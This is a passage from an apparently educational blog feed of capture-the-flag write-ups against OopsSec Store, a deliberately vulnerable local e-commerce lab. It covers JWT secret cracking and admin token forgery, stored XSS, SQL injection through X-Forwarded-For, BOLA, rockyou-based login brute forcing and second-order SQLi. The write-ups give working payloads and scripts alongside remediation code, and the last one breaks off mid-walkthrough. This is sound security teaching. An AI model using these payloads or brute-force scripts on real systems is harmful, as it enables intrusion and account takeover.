DEV Community: Oopssec Store

A valid JWT signature won’t save you if the secret is ‘secret’

Oopssec Store — Fri, 06 Nov 2026 20:00:00 +0000

Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints.

The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an admin token, and walk right into the restricted dashboard.

Environment setup

Spin up the OopsSec Store in a new directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000 and log in with the test credentials shown on the login page. Use Alice's account -- she's a regular customer.

Reconnaissance

The app uses JWTs for session management. After login, the server drops a token in an HTTP-only cookie that tags along with every request.

There's a link to /admin sitting right there in the footer. Click it as Alice and you get an access denied page.

Token extraction and analysis

Open DevTools, go to Application > Cookies. The token is in an HTTP-only cookie called authToken.

Paste it into jwt.io:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "id": "cmk7hzehr0001togvwvjt810d",
  "email": "alice@example.com",
  "role": "CUSTOMER",
  "hint": "The secret is not so secret",
  "exp": 1768763557
}

HS256 -- HMAC-SHA256. You need the secret to forge a valid signature.

But then there's the hint field: "The secret is not so secret". Not subtle.

Identifying the vulnerability

A signature doesn't make a token secure if the secret behind it is garbage. Short or common secrets fall to dictionary attacks in seconds. Think secret, password, jwt, key, or just the app name.

Cracking the JWT secret

Save the token to a file:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt

Crack it with hashcat:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Or jwt_tool:

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Or skip the big wordlist and just try the obvious ones:

import jwt
import sys

token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]

for secret in wordlist:
    try:
        jwt.decode(token, secret, algorithms=["HS256"])
        print(f"[+] Secret found: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue

The secret is secret. Yeah.

Exploitation

Forge a token with "role": "ADMIN":

import jwt

payload = {
    "id": "cmk7hzehr0001togvwvjt810d",
    "email": "alice@example.com",
    "role": "ADMIN",
    "hint": "The secret is not so secret",
    "exp": 1768763557
}

forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)

Back in DevTools > Application > Cookies, replace the authToken value with your forged token and refresh. The cookie is httpOnly so JavaScript can't touch it, but DevTools doesn't care -- you can edit it directly.

Hit /admin.

Flag

OSS{w34k_jwt_s3cr3t_k3y}

Remediation

The fix starts with a real secret:

openssl rand -base64 32

Keep it in an environment variable, not in your code:

import jwt from "jsonwebtoken";

jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: "HS256",
  expiresIn: "7d",
});

Always verify signatures on incoming tokens:

jwt.verify(token, process.env.JWT_SECRET);

Don't trust the role claim in the token either. Look it up from the database:

const user = await db.users.findById(decoded.id);

if (user.role !== "ADMIN") {
  return res.status(403).send("Forbidden");
}

If different services need to issue and verify tokens, asymmetric algorithms (RS256, ES256) make more sense -- verifiers never see the private key.

The token tells you who someone is. What they're allowed to do is a separate question, and the answer should come from your database, not from something the client handed you.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

React's XSS protection didn't save this app — a ref callback killed it

Oopssec Store — Sat, 31 Oct 2026 20:00:00 +0000

Exploiting stored cross-site scripting in OopsSec Store's product review functionality to execute JavaScript in every visitor's browser.

The product reviews feature in OopsSec Store doesn't sanitize input. At all. You can drop a <script> tag into a review, it gets saved to the database, and it runs in every visitor's browser. Here's how to go from a comment box to stealing a flag.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Vulnerability overview

Users can submit reviews on product pages. Those reviews get stored in the database and displayed back when someone loads the page. The problem: the server saves whatever you type without sanitization, and the frontend renders it as raw HTML. If your "review" happens to be a script tag, the browser will execute it.

Here's what happens:

Submit a review containing JavaScript
The backend stores it as-is
Any user who visits the product page gets the review injected into their DOM
The browser executes the script in that user's session

Locating the attack surface

Go to any product page and scroll down to the reviews section. There's a list of existing reviews and a form to add your own.

Submitting a review sends a POST to /api/products/[id]/reviews. The backend stores the content directly, the frontend renders it without escaping.

Exploitation

Discovering the target

Looking through existing reviews, there's a comment from "Mr. Robot":

"Heard the devs left some old flags lying around at the root... files that say exactly what they are. Classic mistake!"

A flag file at the application root. Given the naming convention, /xss-flag.txt is the obvious guess.

Crafting the payload

First, confirm the XSS works:

<script>
  alert("XSS");
</script>

If that pops an alert, input is being executed as code.

Now the real payload -- fetch the flag and display it:

<script>
  fetch("/xss-flag.txt")
    .then(r => r.text())
    .then(flag => alert("Flag: " + flag));
</script>

Executing the attack

Open any product page in OopsSec Store
Scroll to the reviews section
Paste the payload into the review textarea
Click Submit

The API saves it as a regular review. No validation, no filtering.

Triggering the vulnerability

Refresh the page. The malicious review loads from the database, gets injected into the DOM, and the browser sees the <script> tag and runs it.

The script fetches /xss-flag.txt (same-origin, no CORS issues) and pops the flag:

OSS{cr0ss_s1t3_scr1pt1ng_xss}

Anyone who visits this product page from now on triggers the same script.

Vulnerable code analysis

Server-side: no input sanitization

The API endpoint stores whatever the user sends:

const review = await prisma.review.create({
  data: {
    productId: id,
    content: content.trim(), // No sanitization performed
    author,
  },
});

trim() strips whitespace. HTML and JavaScript pass through untouched.

Client-side: raw HTML injection

The frontend injects review content into the DOM through a ref:

<div
  ref={el => {
    reviewRefs.current[review.id] = el; // Raw HTML injection
  }}
  className="text-slate-700 dark:text-slate-300"
/>

This sidesteps React's built-in XSS protection. Normally React escapes anything passed as a JSX expression, but setting HTML through a ref bypasses that.

Remediation

Server-side sanitization

Strip dangerous HTML before it hits the database. DOMPurify handles this:

import DOMPurify from "isomorphic-dompurify";

const review = await prisma.review.create({
  data: {
    productId: id,
    content: DOMPurify.sanitize(content.trim()),
    author,
  },
});

Script tags and event handlers get removed before anything is saved.

Client-side safe rendering

Let React do what it's designed to do -- escape HTML:

<div className="text-slate-700 dark:text-slate-300">{review.content}</div>

Passing content as a JSX expression means React escapes HTML entities automatically.

Apply both fixes. Server-side sanitization stops malicious content from entering the database. Client-side escaping stops it from executing even if something slips through. Either one blocks this attack on its own, but XSS is one of those things where you really want both layers.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

SQL Injection Through the X-Forwarded-For Header (Next.js Lab)

Oopssec Store — Sun, 25 Oct 2026 20:00:00 +0000

The app tracks visitor IPs via the X-Forwarded-For header and drops the raw value into a SQL query. Here's how to exploit it.

OopsSec Store tracks visitor IPs on every page load using the X-Forwarded-For header. The value goes straight into a raw SQL query with no sanitization, so we can inject arbitrary SQL through a header that's entirely client-controlled.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The application silently tracks visitor IP addresses on every page load. This tracking:

Runs automatically via a client-side component on all pages
Sends visitor data to /api/tracking
Stores the X-Forwarded-For header value as the visitor's IP
Makes this data visible only to administrators at /admin/analytics

Vulnerability analysis

Silent IP tracking

The application tracks visitor IP addresses using the X-Forwarded-For header via a client-side component that loads on every page:

// VisitorTracker component (loads on all pages)
useEffect(() => {
  fetch("/api/tracking", {
    method: "POST",
    body: JSON.stringify({ path: pathname }),
  });
}, [pathname]);

Vulnerable tracking API

The tracking API uses raw SQL with the X-Forwarded-For header directly concatenated:

// /api/tracking
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || request.headers.get("x-real-ip") || "unknown";

// VULNERABLE: `ip` is the one value that reaches the statement unescaped
const query = `
  INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
  VALUES ('${id}', '${ip}', '${userAgent.replace(/'/g, "''")}', '${path.replace(/'/g, "''")}', ${sessionId ? `'${sessionId.replace(/'/g, "''")}'` : "NULL"}, datetime('now'))
`;

await prisma.$queryRawUnsafe(query);

The ip variable comes straight from the X-Forwarded-For header and lands in the SQL query with no sanitization. The user agent, the path and the session id are escaped on the way in, so the header is the only way through.

Exploitation

Step 1: Find the oracle

An INSERT returns no rows, so the first question is how to read anything back. The tracking endpoint answers it for us: it replies with the rows the request just wrote.

curl -X POST http://localhost:3000/api/tracking \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'

{
  "success": true,
  "logged": [
    {
      "id": "bd43ad6b-410d-4b34-815f-19cd026489c3",
      "ip": "::1",
      "userAgent": "curl/8.18.0",
      "path": "/",
      "sessionId": null,
      "createdAt": "2026-01-24T20:16:00.000Z"
    }
  ]
}

That echo is the whole game. A header that merely looks like SQL earns nothing — the flag drops only when a value read from a table the tracker never queries comes back inside logged.

Step 2: Close the value list

The statement expects six values — id, ip, userAgent, path, sessionId, createdAt — and our header lands in the second one. So we finish the ip string, supply the four remaining values ourselves, close the parenthesis and comment out the rest:

1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--

The server executes:

INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
VALUES ('…', '1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--', 'curl/8.18.0', …)

The userAgent column now holds whatever sub-query we put in the third slot. When a payload does not compile — drop the trailing -- and the real user agent runs on as SQL — SQLite says so in the response, which makes this a comfortable place to iterate:

{
  "success": false,
  "logged": [],
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `near \"', '\": syntax error`"
}

The ip slot takes a literal too, by the other route: concatenating into the value instead of closing the list. It is the shortest proof the injection runs — visible afterwards at /admin/analytics:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT 'Privacy matters. Dont track your users')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/exploit"}'

Step 3: Enumerate the schema

SQLite keeps its own catalogue in sqlite_master. Read the table list through the column we control:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT group_concat(name) FROM sqlite_master WHERE type='table'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'

"userAgent": "users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence"

flags is a dead end: the endpoint answers 403 to any payload naming that table, and strips every OSS{…} value out of the echo. internal_secrets is the interesting one. Ask for its definition the same way:

1.2.3.4', (SELECT sql FROM sqlite_master WHERE name='internal_secrets'), '/x', NULL, datetime('now'))--

CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

1.2.3.4', (SELECT group_concat(slug) FROM internal_secrets), '/x', NULL, datetime('now'))--

product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Step 4: Exfiltrate the canary

This endpoint only looks for its own token, so ask for the x-forwarded-for-sql-injection row:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT token FROM internal_secrets WHERE slug='x-forwarded-for-sql-injection'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'

{
  "success": true,
  "logged": [
    {
      "ip": "1.2.3.4",
      "userAgent": "CANARY-X-FORWARDED-FOR-SQL-INJECTION-a42f4413d416",
      "path": "/x"
    }
  ],
  "flag": "OSS{x_f0rw4rd3d_f0r_sql1}",
  "message": "Internal secret exfiltrated through the X-Forwarded-For header! Well done!"
}

The token is generated at seed time, so it differs on every instance: the only way to produce it is to read it out of the database.

Unlike the UNION challenges, the WHERE matters here. This sink takes a scalar subquery, and a scalar subquery yields a single value: (SELECT token FROM internal_secrets) returns the first row only, which belongs to another challenge. Name the slug, or wrap the column in group_concat to bring every token back at once.

The flag is:

OSS{x_f0rw4rd3d_f0r_sql1}

Vulnerable code analysis

Two things make this exploitable:

1. Trusting the X-Forwarded-For header

const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || "unknown";
// No validation - any string is accepted as IP

The X-Forwarded-For header is fully controllable by clients. It should only be trusted when:

Set exclusively by a controlled reverse proxy
The proxy strips existing headers before adding its own
Direct client connections to the application server are blocked

2. Raw SQL with string concatenation

const query = `INSERT INTO ... VALUES (..., '${ip}', ...)`;
await prisma.$queryRawUnsafe(query);

Passing user-controlled input to $queryRawUnsafe via string concatenation means any header value can escape the intended SQL string context.

Bonus: Amplifying to Stored XSS

This vulnerability also opens the door to Stored XSS. The admin analytics page renders IP addresses with dangerouslySetInnerHTML, so injected HTML and JavaScript execute when an admin loads the page.

XSS Payload

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT '<img src=x onerror=alert(document.documentURI)>')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/xss-exploit"}'

Impact

The XSS payload is stored in the database as the "IP address"
Every time an admin visits /admin/analytics, the script executes
The attacker can:
- Perform actions as admin (create users, modify products, etc.) by making fetch requests with credentials: "include"
- Exfiltrate sensitive analytics data
- Note: the JWT is stored in an httpOnly cookie, so it cannot be directly stolen via JavaScript, but the attacker can still make authenticated requests from the XSS context

Because the payload is stored in the database and rendered unsanitized, every admin who checks analytics will trigger the XSS.

Remediation

Use parameterized queries

Replace raw SQL with Prisma's query builder:

await prisma.visitorLog.create({
  data: {
    ip,
    userAgent,
    path,
  },
});

Validate IP addresses

Before storing, validate the IP format:

const isValidIp = (ip: string): boolean => {
  const ipv4 = /^(\d{1,3}\.){3}\d{1,3}$/;
  const ipv6 = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
  return ipv4.test(ip) || ipv6.test(ip);
};

const rawIp = request.headers.get("x-forwarded-for")?.split(",")[0].trim();
const ip = rawIp && isValidIp(rawIp) ? rawIp : "unknown";

Trust boundaries

Only trust X-Forwarded-For when:

Set exclusively by a controlled reverse proxy
The proxy strips existing headers before adding its own
Network architecture prevents direct client connections

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

The DELETE Route Checked Ownership. GET Didn't. (BOLA Write-up)

Oopssec Store — Mon, 19 Oct 2026 19:00:00 +0000

A BOLA vulnerability in OopsSec Store's wishlist API lets any logged-in user read anyone else's private wishlist, including an admin one that contains the flag.

The wishlist API on OopsSec Store authenticates users but never checks whether they actually own the wishlist they're requesting. Any logged-in user can read any wishlist by changing the ID in the URL.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Vulnerability overview

OopsSec Store lets users create private wishlists. The frontend only shows you your own, so from the UI everything looks correctly scoped.

GET /api/wishlists/[id] on the backend is a different story. It accepts any wishlist ID and returns the full contents. There's a 401 if you're not logged in, but no check that the wishlist is actually yours.

An admin wishlist (wl-internal-001) has a note field containing the flag. Since there's no ownership check, any authenticated user can read it.

Exploitation

Step 1: Log in

Go to the login page and use the test credentials:

Email: alice@example.com
Password: iloveduck

Step 2: Use the wishlist feature normally

Go to the Wishlists page from the header. Create a wishlist or look at an existing one. Nothing unusual -- you only see your own wishlists.

Step 3: Watch the API calls

Open your browser dev tools (Network tab) and click "View Wishlist" on one of your wishlists. You'll see:

GET /api/wishlists/wl-alice-001
Cookie: authToken=<your-jwt-token>

The response has the full wishlist: name, items, owner email, notes.

Step 4: Spot the problem

The wishlist ID (wl-alice-001) is right there in the URL, and the naming convention is obvious: wl-{username}-{number}. Does the API verify you own the wishlist, or does it just hand back whatever you ask for?

Step 5: Request someone else's wishlist

Try a different wishlist ID. With curl:

curl -b "authToken=<your-jwt-token>" \
  http://localhost:3000/api/wishlists/wl-internal-001

Or from the browser console:

const res = await fetch("/api/wishlists/wl-internal-001", {
  credentials: "include",
});
const data = await res.json();
console.log(data);

It works. The API hands back the admin's internal wishlist -- items, owner email (admin@oss.com), and the note field with the flag.

Step 6: The flag

OSS{brok3n_0bj3ct_l3v3l_4uth0r1z4t10n}

Vulnerable code analysis

The bug is in the GET handler of /api/wishlists/[id]/route.ts:

const user = await getAuthenticatedUser(request);
if (!user) {
  return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
}

const wishlist = await prisma.wishlist.findUnique({
  where: { id },
  include: { items: { include: { product: true } } },
});

// Missing: ownership verification
// wishlist.userId is never compared to user.id
return NextResponse.json(wishlist);

The 401 on unauthenticated requests makes the endpoint look secured. But the code never compares wishlist.userId to user.id, so any logged-in user can fetch any wishlist.

Worth noting: the DELETE handler on the same endpoint does check ownership. Someone wrote the authorization logic for deletes and didn't add the same check on reads.

Remediation

Check ownership before returning data

Add a comparison after fetching the wishlist:

const wishlist = await prisma.wishlist.findUnique({
  where: { id },
});

if (!wishlist) {
  return NextResponse.json({ error: "Wishlist not found" }, { status: 404 });
}

if (wishlist.userId !== user.id) {
  return NextResponse.json({ error: "Forbidden" }, { status: 403 });
}

You can also bake the constraint into the query, which has the added benefit of not leaking whether a wishlist ID exists:

const wishlist = await prisma.wishlist.findFirst({
  where: {
    id,
    userId: user.id,
  },
});

if (!wishlist) {
  return NextResponse.json({ error: "Wishlist not found" }, { status: 404 });
}

If the ID is valid but belongs to someone else, the response is the same 404 as a nonexistent one.

Apply authorization consistently

The root cause is that someone wrote the ownership check for DELETE but not for GET. This kind of inconsistency across CRUD operations is where most BOLA bugs live, and automated scanners are generally bad at catching it because they don't reason about which operations should share authorization logic. Centralize the check or make sure every handler on the resource includes it.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Brute-forcing a login endpoint with no rate limiting and MD5

Oopssec Store — Tue, 13 Oct 2026 19:00:00 +0000

Brute forcing a user password through an unprotected login endpoint using rockyou.txt.

The login endpoint on OopsSec Store has no rate limiting. No lockout either. You can point rockyou.txt at a known email and just wait.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Reconnaissance

The News page (/news) has a "Leaked Data Sample" section simulating a published data breach. Three user records are exposed:

Email	Leaked data
`alice@example.com`	Email + MD5 hash
`bob@example.com`	Email + MD5 hash
`vis.bruta@example.com`	Email only

The first two have their MD5 hashes exposed, so those can be cracked offline. The third, vis.bruta@example.com, only has a confirmed email. No hash. That leaves one option: brute force the login directly.

Identifying the login endpoint

Submitting credentials through the form at /login sends a POST to /api/auth/login:

{
  "email": "vis.bruta@example.com",
  "password": "test"
}

Every failed attempt returns a 401 with {"error": "Invalid password"}. Send a hundred requests, send a thousand. Same response. No rate limiting, no lockout, no delay.

Exploitation

Preparing the wordlist

rockyou.txt is the obvious choice here: over 14 million passwords from a real data breach. If the password is anything common, it's in there.

Brute forcing with a bash loop

This script reads passwords from the wordlist and sends each one to the login endpoint until it gets a hit:

while read password; do
  response=$(curl -s -X POST http://localhost:3000/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"vis.bruta@example.com\",\"password\":\"$password\"}")

  if echo "$response" | grep -q "token"; then
    echo "Password found: $password"
    echo "$response"
    break
  fi
done < rockyou.txt

It checks for a token field in each response (only present on success). With nothing throttling requests, this runs through hundreds of passwords per second.

Alternative: brute forcing with Python

import requests

url = "http://localhost:3000/api/auth/login"
email = "vis.bruta@example.com"

with open("rockyou.txt", "r", encoding="latin-1") as f:
    for password in f:
        password = password.strip()
        response = requests.post(url, json={
            "email": email,
            "password": password
        })

        if response.status_code == 200:
            data = response.json()
            if "token" in data:
                print(f"Password found: {password}")
                print(f"Flag: {data.get('flag')}")
                break

Result

Password found: sunshine

sunshine sits near the top of rockyou.txt. The whole thing finishes in seconds.

Capturing the flag

Email: vis.bruta@example.com
Password: sunshine

A toast notification pops up with the flag:

OSS{brut3_f0rc3_n0_r4t3_l1m1t}

The flag also comes back in the API's JSON response.

Vulnerable code analysis

Here's the login handler in /app/api/auth/login/route.ts:

export async function POST(request: Request) {
  try {
    const body = await request.json();
    const { email, password } = body;

    // No rate limiting, no account lockout, no delay

    const hashedPassword = hashMD5(password);
    const user = await prisma.user.findUnique({
      where: { email },
    });

    if (!user || user.password !== hashedPassword) {
      return NextResponse.json(
        { error: "Invalid password" },
        { status: 401 }
      );
    }

    // Authentication proceeds
  }
}

No throttling, no abuse detection. The endpoint accepts unlimited attempts from any source at any speed. Failed attempts aren't tracked, so the account never locks. MD5 is fast enough that each guess costs the server almost nothing. The uniform "Invalid password" error is fine for preventing username enumeration, but it also means the server gives no sign it's noticed anything unusual.

Remediation

Rate limiting

Cap login attempts per time window. Five attempts per 15 minutes, scoped by IP or account, is a common threshold:

import rateLimit from "express-rate-limit";

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,
  message: { error: "Too many login attempts. Please try again later." },
  standardHeaders: true,
  legacyHeaders: false,
});

That alone kills high-speed brute force.

Account lockout

Track failed attempts per account and lock it temporarily after too many failures:

const MAX_FAILED_ATTEMPTS = 5;
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes

if (user.failedLoginAttempts >= MAX_FAILED_ATTEMPTS) {
  const lockoutEnd = new Date(
    user.lastFailedLogin.getTime() + LOCKOUT_DURATION
  );
  if (new Date() < lockoutEnd) {
    return NextResponse.json(
      { error: "Account temporarily locked. Try again later." },
      { status: 429 }
    );
  }
}

This handles distributed attacks where requests come from different IPs, which would slip past IP-based rate limits alone.

Using a slower hash function

MD5 is a bad fit for passwords. It's fast by design, letting attackers compute billions of hashes per second on modern hardware. It also uses no salt, so identical passwords always produce identical hashes. Rainbow tables make short work of that.

bcrypt fixes both. Each hash gets its own random salt, so two users with the same password produce different outputs. The work factor is adjustable: you decide how expensive each verification should be. Even without rate limiting, the cost per guess makes brute force impractical.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.

Oopssec Store — Wed, 07 Oct 2026 19:00:00 +0000

How a crafted display name stored through a product review becomes a SQL injection payload when an admin filters reviews on the moderation panel.

This writeup walks through a second-order SQL injection in OopsSec Store's review moderation feature. The twist compared to a classic SQL injection: the payload doesn't execute when it's submitted. It sits harmlessly in the database until the application feeds it into a different, unparameterized query.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The application lets users submit product reviews with a customizable "Display name" field. Instead of defaulting to their email address, users pick how their name shows up on reviews.

The admin panel has a "Review Moderation" section at /admin/reviews where admins can view and filter all reviews by author. The filter is a dropdown populated with distinct author names from the database.

Understanding second-order injection

In a classic (first-order) SQL injection, the payload executes at the point of input. In a second-order attack, the malicious input is stored safely first and only executes later when the application reuses it in a different, unsafe context.

The developer mistake: assuming that data from your own database is trustworthy and doesn't need parameterization.

Exploitation

Step 1: Store the payload

Log in with any account (e.g., alice@example.com / iloveduck), open any product page and submit a review. The "Display name" field is the sink: whatever goes in there is stored verbatim and rebuilt into a raw query later. Start with a probe that closes the author filter and merges a second result set:

x' UNION SELECT 1, 2, 3, 4, 5, 6 --

Write anything in the review body and submit. Nothing happens yet — the review is stored through Prisma, parameterized, and the payload is just a string sitting in a column.

Step 2: Gain admin access

To access the admin panel, you need admin privileges. You can get there through other vulnerabilities in the lab (Mass Assignment, JWT forgery, SQL Injection with Weak MD5, etc).

Step 3: Trigger the injection

Navigate to /admin/reviews. The moderation panel lists every review and offers a "Filter by author" dropdown, populated with the distinct author names in the database — yours included.

Select it. If the column count is wrong, the panel says so, which is how you find out the query returns six of them:

{
  "error": "SELECTs to the left and right of UNION do not have the same number of result columns"
}

Each correction means posting a new review with the adjusted display name — the payload only ever arrives through storage.

